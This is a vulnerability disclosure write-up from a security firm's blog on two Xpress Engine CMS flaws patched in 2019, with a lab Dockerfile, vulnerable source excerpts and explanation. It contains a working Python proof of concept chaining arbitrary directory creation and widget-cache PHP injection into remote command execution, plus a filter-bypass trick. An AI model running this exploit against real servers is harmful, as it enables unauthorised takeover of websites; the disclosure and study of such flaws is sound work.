Vulnerability Research

Xpress Engine Vulnerabilities

Xpress Engine Vulnerabilities

EnkiWhiteHat

2024. 4. 17.

1. Overview

This article explains two vulnerabilities in Xpress Engine (XE) that were patched in October 2019: Pre-Auth RCE and URL Filter Bypass. (XEVE-19–008, XEVE-19–009)

Pre-Auth RCE vulnerabilities in web applications are security flaws that allow remote attackers to compromise web servers without valid access authorization to the web service.

URL filter bypass vulnerabilities are also high-risk security vulnerabilities that can evolve into XSS attacks, leading to RCE (Remote Code Execution), session hijacking, phishing, and other attacks.

These issues were discovered and reported by Enki researcher Yongjin Kim and were patched in XE version 1.11.6.

XE is a domestically developed CMS (Content Management System) software following the LGPL license. Since its initial release in 2009, it has been downloaded over 2,192,249 times and is one of the well-known open-source CMS platforms. Without requiring advanced programming skills, it enables the development of websites, blogs, and other services, making it popular among numerous domestic shopping malls and community sites.

2. Pre-Auth RCE

The Pre-Auth RCE vulnerability consists of two different vulnerabilities. In this post, we will explain the root cause of each vulnerability and the principles that make attacks possible.

The test environment can be set up using the Dockerfile below.

FROM php:7.2-apache
ADD https://github.com/xpressengine/xe-core/releases/download/1.11.5/xe.1.11.5.tar.gz /var/www/html
WORKDIR /var/www/html
RUN tar xf xe.1.11.5.tar.gz
RUN chmod 707 /var/www/html
RUN sed -i 's/http:\/\/deb.debian.org\/debian/http:\/\/mirror.kakao.com\/debian/g' /etc/apt/sources.list
RUN apt update && apt -y install libpng-dev default-mysql-server
RUN docker-php-ext-install gd mysqli
RUN a2enmod rewrite
RUN service mysql start
CMD apache2ctl start && /usr/sbin/mysqld --skip-grant-tables --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb19/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock

2–1. Lack of Parameter Filtering in Widget Cache Functionality

function dispWidgetInfo()
{
    // If people have skin widget widget output as a function of the skin More Details
    if(Context::get('skin')) return $this->dispWidgetSkinInfo();
    // Wanted widget is selected information
    $oWidgetModel = getModel('widget');
    $widget_info = $oWidgetModel->getWidgetInfo(Context::get('selected_widget'));
    Context::set('widget_info', $widget_info);
    // Specifies the widget to pop up
    $this->setLayoutFile('popup_layout');
    // Set a template file
    $this->setTemplateFile('widget_detail_info');
}

The widgetModel class is implemented in the modules/widget/widget.view.php. The dispWidgetInfo method of this class is responsible for setting widget properties, and on line 27 of the method code, it calls the getWidgetInfo method from the widget model instance to obtain widget information.

At this point, we can see that the selected_widget parameter value is used as an argument for the method call.

function getWidgetPath($widget_name)
{
    $path = sprintf('./widgets/%s/', $widget_name);
    if(is_dir($path)) return $path;
return "";
}

function getWidgetInfo($widget)
{
    // Get a path of the requested module. Return if not exists.
    $widget_path = $this->getWidgetPath($widget);
    if(!$widget_path) return;
    // Read the xml file for module skin information
    $xml_file = sprintf("%sconf/info.xml", $widget_path);
    if(!file_exists($xml_file)) return;
    // If the problem by comparing the cache file and include the return variable $widget_info
    $cache_file = sprintf(_XE_PATH_ . 'files/cache/widget/%s.%s.cache.php', $widget, Context::getLangType());

if(file_exists($cache_file)&&filemtime($cache_file)>filemtime($xml_file))
    {
        @include($cache_file);
        return $widget_info;
    }
    // If no cache file exists, parse the xml and then return the variable.
    $oXmlParser = new XmlParser();
    $tmp_xml_obj = $oXmlParser->loadXmlFile($xml_file);
    $xml_obj = $tmp_xml_obj->widget;
    if(!$xml_obj) return;
    $buff = '$widget_info = new stdClass;';
    if($xml_obj->version && $xml_obj->attrs->version == '0.2')
    {
        // Title of the widget, version
        $buff .= sprintf('$widget_info->widget = "%s";', $widget);
        $buff .= sprintf('$widget_info->path = "%s";', $widget_path);
        $buff .= sprintf('$widget_info->title = "%s";', $xml_obj->title->body);
        $buff .= sprintf('$widget_info->description = "%s";', $xml_obj->description->body);
        $buff .= sprintf('$widget_info->version = "%s";', $xml_obj->version->body);
        sscanf($xml_obj->date->body, '%d-%d-%d', $date_obj->y, $date_obj->m, $date_obj->d);
        $date = sprintf('%04d%02d%02d', $date_obj->y, $date_obj->m, $date_obj->d);
        $buff .= sprintf('$widget_info->date = "%s";', $date);
        $buff .= sprintf('$widget_info->homepage = "%s";', $xml_obj->link->body);
        $buff .= sprintf('$widget_info->license = "%s";', $xml_obj->license->body);
        $buff .= sprintf('$widget_info->license_link = "%s";', $xml_obj->license->attrs->link);
        $buff .= sprintf('$widget_info->widget_srl = $widget_srl;');
        $buff .= sprintf('$widget_info->widget_title = $widget_title;');
        // Author information
        if(!is_array($xml_obj->author)) $author_list[] = $xml_obj->author;
        else $author_list = $xml_obj->author;
        for($i=0; $i < count($author_list); $i++)
        {
            $buff .= '$widget_info->author['.$i.'] = new stdClass;';
            $buff .= sprintf('$widget_info->author['.$i.']->name = "%s";', $author_list[$i]->name->body);
            $buff .= sprintf('$widget_info->author['.$i.']->email_address = "%s";', $author_list[$i]->attrs->email_address);
            $buff .= sprintf('$widget_info->author['.$i.']->homepage = "%s";', $author_list[$i]->attrs->link);
        }
    }
    else
    {
        // Title of the widget, version
        $buff .= sprintf('$widget_info->widget = "%s";', $widget);
        $buff .= sprintf('$widget_info->path = "%s";', $widget_path);
        $buff .= sprintf('$widget_info->title = "%s";', $xml_obj->title->body);
        $buff .= sprintf('$widget_info->description = "%s";', $xml_obj->author->description->body);
        $buff .= sprintf('$widget_info->version = "%s";', $xml_obj->attrs->version);
        sscanf($xml_obj->author->attrs->date, '%d. %d. %d', $date_obj->y, $date_obj->m, $date_obj->d);
        $date = sprintf('%04d%02d%02d', $date_obj->y, $date_obj->m, $date_obj->d);
        $buff .= sprintf('$widget_info->date = "%s";', $date);
        $buff .= sprintf('$widget_info->widget_srl = $widget_srl;');
        $buff .= sprintf('$widget_info->widget_title = $widget_title;');
        // Author information
        $buff .= '$widget_info->author[0] = new stdClass;';
        $buff .= sprintf('$widget_info->author[0]->name = "%s";', $xml_obj->author->name->body);
        $buff .= sprintf('$widget_info->author[0]->email_address = "%s";', $xml_obj->author->attrs->email_address);
        $buff .= sprintf('$widget_info->author[0]->homepage = "%s";', $xml_obj->author->attrs->link);
    }
    // Extra vars (user defined variables to use in a template)
    $extra_var_groups = $xml_obj->extra_vars->group;
    if(!$extra_var_groups) $extra_var_groups = $xml_obj->extra_vars;
    if(!is_array($extra_var_groups)) $extra_var_groups = array($extra_var_groups);
    foreach($extra_var_groups as $group)
    {
        $extra_vars = $group->var;
        if(!is_array($group->var)) $extra_vars = array($group->var);
        if($extra_vars[0]->attrs->id || $extra_vars[0]->attrs->name)
        {
            $extra_var_count = count($extra_vars);
            $buff .= sprintf('$widget_info->extra_var_count = "%s";', $extra_var_count);
            for($i=0;$i<$extra_var_count;$i++)
            {
                unset($var);
                unset($options);
                $var = $extra_vars[$i];
                $id = $var->attrs->id?$var->attrs->id:$var->attrs->name;
                $name = $var->name->body?$var->name->body:$var->title->body;
                $type = $var->attrs->type?$var->attrs->type:$var->type->body;
                $buff .= sprintf('$widget_info->extra_var->%s = new stdClass;', $id);
                if($type =='filebox')
                {
                    $buff .= sprintf('$widget_info->extra_var->%s->filter = "%s";', $id, $var->type->attrs->filter);
                    $buff .= sprintf('$widget_info->extra_var->%s->allow_multiple = "%s";', $id, $var->type->attrs->allow_multiple);
                }
                $buff .= sprintf('$widget_info->extra_var->%s->group = "%s";', $id, $group->title->body);
                $buff .= sprintf('$widget_info->extra_var->%s->name = "%s";', $id, $name);
                $buff .= sprintf('$widget_info->extra_var->%s->type = "%s";', $id, $type);
                $buff .= sprintf('$widget_info->extra_var->%s->value = $vars->%s;', $id, $id);
                $buff .= sprintf('$widget_info->extra_var->%s->description = "%s";', $id, str_replace('"','\"',$var->description->body));
                $options = $var->options;
                if(!$options) continue;
                if(!is_array($options)) $options = array($options);
                $options_count = count($options);
                for($j=0;$j<$options_count;$j++)
                {
                    $buff .= sprintf('$widget_info->extra_var->%s->options["%s"] = "%s";', $id, $options[$j]->value->body, $options[$j]->name->body);
                    if($options[$j]->attrs->default && $options[$j]->attrs->default=='true')
                    {
                        $buff .= sprintf('$widget_info->extra_var->%s->default_options["%s"] = true;', $id, $options[$j]->value->body);
                    }
                    if($options[$j]->attrs->init && $options[$j]->attrs->init=='true')
                    {
                        $buff .= sprintf('$widget_info->extra_var->%s->init_options["%s"] = true;', $id, $options[$j]->value->body);
                    }
                }
            }
        }
    }
    $buff = '<?php if(!defined("__XE__")) exit(); '.$buff.' ?>';
    FileHandler::writeFile($cache_file, $buff);
    if(file_exists($cache_file)) @include($cache_file);
    return $widget_info;
}

The getWidgetInfo method of the widgetModel class initializes the $widget_path variable by calling the getWidgetPath method implemented in the same source code on line 126. The initialized string is influenced by external input values and takes the form ./widgets/EXTERNAL_INPUT/.

The $widget_path variable initialized using external user input values is used on line 179 of the getWidgetInfo method.

$buff .= sprintf('$widget_info->path = "%s";', $widget_path);

This code is responsible for dynamically generating widget cache PHP scripts. If the input value is set to ";MALICIOUS_CODE;#, it becomes $widget_info->path = "";MALICIOUS_CODE;#"; allowing additional PHP code to be inserted into the original code.

However, due to the external input filtering implemented in XE, attacks using the above method are not easily feasible.

/**
 * Filter request variable
 *
 * @see Cast variables, such as _srl, page, and cpage, into interger
 * @param string $key Variable key
 * @param string $val Variable value
 * @param string $do_stripslashes Whether to strip slashes
 * @return mixed filtered value. Type are string or array
 */
function _filterRequestVar($key, $val, $do_stripslashes = true, $remove_hack = false)
{
    if(!($isArray = is_array($val)))
    {
        $val = array($val);
    }

$result = array();
    foreach($val as $k => $v)
    {
        $k = escape($k);
        if($remove_hack && !is_array($v)) {
            if(stripos($v, '<script') || stripos($v, 'lt;script') || stripos($v, '%3Cscript'))
            {
                $result[$k] = escape($v);
                continue;
            }
        }
        if($key === 'page' || $key === 'cpage' || substr_compare($key, 'srl', -3) === 0)
        {
            $result[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v;
        }
        elseif(in_array($key, array('mid','search_keyword','search_target','xe_validator_id'))) {
            $result[$k] = escape($v, false);
        }
        elseif($key === 'vid')
        {
            $result[$k] = urlencode($v);
        }
        elseif(stripos($key, 'XE_VALIDATOR', 0) === 0)
        {
            unset($result[$k]);
        }
        else
        {
            $result[$k] = $v;
            if($do_stripslashes && version_compare(PHP_VERSION, '5.4.0', '<') && get_magic_quotes_gpc())
            {
                if (is_array($result[$k]))
                {
                    array_walk_recursive($result[$k], function(&$val) { $val = stripslashes($val); });
                }
                else
                {
                    $result[$k] = stripslashes($result[$k]);
                }
            }
            if(is_array($result[$k]))
            {
                array_walk_recursive($result[$k], function(&$val) { $val = trim($val); });
            }
            else
            {
                $result[$k] = trim($result[$k]);
            }
            if($remove_hack)
            {
                $result[$k] = escape($result[$k], false);
            }
        }
    }
    return $isArray ? $result : $result[0];
}

The external input filtering code is located in the Context class implemented in the classes/context/Context.class.php. This class is responsible for managing parameters and environment variables.

The _filterRequestVar method of the Context class filters external input values using the escape function.

function escape($str, $double_escape = true, $escape_defined_lang_code = false)
{
    if(!$escape_defined_lang_code && isDefinedLangCode($str)) return $str;

$flags = ENT_QUOTES | ENT_SUBSTITUTE;
    return htmlspecialchars($str, $flags, 'UTF-8', $double_escape);
}

The escape function is implemented in the config/func.inc.php and blocks dangerous data input using PHP's htmlspecialchars function.

Ultimately, due to the escape function, double quote strings are replaced with HTML Entity values, making it impossible to terminate the original widget cache code with double quotes and add PHP code. However, the escape function filter can be bypassed using PHP's Complex (curly) syntax.

...
function getWidgetPath($widget_name)
{
    $path = sprintf('./widgets/%s/', $widget_name);
    if(is_dir($path)) return $path;
return "";
}
...
function getWidgetInfo($widget)
{
    // Get a path of the requested module. Return if not exists.
    $widget_path = $this->getWidgetPath($widget);
    if(!$widget_path) return;
    // Read the xml file for module skin information
    $xml_file = sprintf("%sconf/info.xml", $widget_path);
    if(!file_exists($xml_file)) return;
    // If the problem by comparing the cache file and include the return variable $widget_info
    $cache_file = sprintf(_XE_PATH_ . 'files/cache/widget/%s.%s.cache.php', $widget, Context::getLangType());
...

Beyond filter bypass, another issue exists. The getWidgetInfo method of the widgetModel class calls PHP's is_dir and file_exists functions before executing the widget cache generation code to check if the widget module actually exists.

Therefore, to execute vulnerable code, an additional vulnerability is needed to create a directory named ${MALICIOUS_CODE} at an arbitrary path.

# linux
root@ubuntu:~# cd none_exists/../../../
-bash: cd: none_exists/../../../: No such file or directory
# windows
C:\Users\Administrator>cd none_exists/../../../
C:

However, on Windows systems, Directory Traversal is possible for non-existent directories, making attacks possible without additional vulnerabilities.

2–2. Arbitrary Directory Creation

The rssController class of the vulnerable RSS module is implemented in the modules/rss/rss.controller.php.

function triggerRssUrlInsert()
{
    $oModuleModel = getModel('module');
    $total_config = $oModuleModel->getModuleConfig('rss');
    $current_module_srl = Context::get('module_srl');
    $site_module_info = Context::get('site_module_info');

if(is_array($current_module_srl))
    {
        unset($current_module_srl);
    }
    if(!$current_module_srl) {
        $current_module_info = Context::get('current_module_info');
        $current_module_srl = $current_module_info->module_srl;
    }
    if(!$current_module_srl) return new BaseObject();
    // Imported rss settings of the selected module
    $oRssModel = getModel('rss');
    $rss_config = $oRssModel->getRssModuleConfig($current_module_srl);
    if($rss_config->open_rss != 'N')
    {
        Context::set('rss_url', $oRssModel->getModuleFeedUrl(Context::get('vid'), Context::get('mid'), 'rss'));
        Context::set('atom_url', $oRssModel->getModuleFeedUrl(Context::get('vid'), Context::get('mid'), 'atom'));
    }
    if(Context::isInstalled() && $site_module_info->mid == Context::get('mid') && $total_config->use_total_feed != 'N')
    {
        if(Context::isAllowRewrite() && !Context::get('vid'))
        {
            $request_uri = Context::getRequestUri();
            Context::set('general_rss_url', $request_uri.'rss');
            Context::set('general_atom_url', $request_uri.'atom');
        }
        else
        {
            Context::set('general_rss_url', getUrl('','module','rss','act','rss'));
            Context::set('general_atom_url', getUrl('','module','rss','act','atom'));
        }
    }
    return new BaseObject();
}

The $rss_config variable containing RSS configuration information is initialized on line 43 by calling the getRssModuleConfig method of the RSS model instance, where the $current_module_srl variable used as an argument is the module_srl parameter value.

function writeFile($filename, $buff, $mode = "w")
{
    $filename = self::getRealPath($filename);
    $pathinfo = pathinfo($filename);
    self::makeDir($pathinfo['dirname']);
...
function makeDir($path_string)
{
    if(self::exists($path_string) !== FALSE)
    {
        return TRUE;
    }

if(!ini_get('safe_mode'))
    {
        @mkdir($path_string, 0755, TRUE);
        @chmod($path_string, 0755);
    }
...

Later in the code execution flow, external input data reaches PHP's directory creation function mkdir.

function _filterRequestVar($key, $val, $do_stripslashes = true, $remove_hack = false)
{
    if(!($isArray = is_array($val)))
    {
        $val = array($val);
    }

$result = array();
    foreach($val as $k => $v)
    {
        $k = escape($k);
        if($remove_hack && !is_array($v)) {
            if(stripos($v, '<script') || stripos($v, 'lt;script') || stripos($v, '%3Cscript'))
            {
                $result[$k] = escape($v);
                continue;
            }
        }
        if($key === 'page' || $key === 'cpage' || substr_compare($key, 'srl', -3) === 0)
        {
            $result[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v;
        }
...

The Context->_filterRequestVar method that filters external input values based on HTTP requests forcibly converts data to int type when the parameter key ends with srl. This prevents passing arbitrary strings to the mkdir function. If a string is input, it gets replaced with the integer value 0. (line 1423)

However, there exists a logical vulnerability that allows escaping the foreach loop using code on line 1414, which executes before the forced type conversion.

By constructing the module_srl value as Arbitrary_Directory_Path/<script, the continue code on line 1417 is executed, avoiding the forced type conversion code execution and allowing the creation of any desired arbitrary directory.

2–3. PoC

from requests import get
cmd = 'id'
target = 'http://127.0.0.1/'

# step 1 : make directory
# /var/www/html/files/cache/${eval($_GET[0])}
get('{}?mid=board&module_srl=/../../../../../../${{eval($_GET[0])}}/%3Cscript'.format(target))
# step 2 : write cache
# /var/www/html/files/cache/widgets/content.ko.cache.php
get('{}?act=dispWidgetInfo&selected_widget=../files/cache/${{eval($_GET[0])}}/../../../widgets/content'.format(target))
# step 3 : remote code execute
print get('{}?act=dispWidgetInfo&selected_widget=../widgets/content&0=system($_GET[1]);&1={}'.format(target, cmd)).text.split('<!DOCTYPE html>')[0]

3. Filtering Bypass

The second vulnerability lies in the escape function that filters external input values. This function can be found in the config/func.inc.php source file.

function escape($str, $double_escape = true, $escape_defined_lang_code = false)
{
    if(!$escape_defined_lang_code && isDefinedLangCode($str)) return $str;

$flags = ENT_QUOTES | ENT_SUBSTITUTE;
    return htmlspecialchars($str, $flags, 'UTF-8', $double_escape);
}
function isDefinedLangCode($str)
{
    return preg_match('!\$user_lang->([a-z0-9\_]+)$!is', trim($str));
}

The escape function passes the target string for filtering to the isDefinedLangCode function, and when the condition is met, it returns the string as-is without calling the htmlspecialchars function.

At this point, the regular expression for filtering is incorrect, allowing filter bypass by appending the $user_lang->0 string at the end of the parameter.

EnkiWhiteHat

EnkiWhiteHat

Offensive security experts delivering deeper security through an attacker's perspective.

Offensive security experts delivering deeper security through an attacker's perspective.

Prepare Before a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before
a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

ENKI WhiteHat provides unparalleled security

with unrivaled expertise.

Contact

biz@enki.co.kr

+82 2-402-1337

167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.

ENKI WhiteHat provides unparalleled security

with unrivaled expertise.

Contact

biz@enki.co.kr

+82 2-402-1337

167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.

ENKI WhiteHat provides unparalleled security

with unrivaled expertise.

Contact

biz@enki.co.kr

+82 2-402-1337

167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.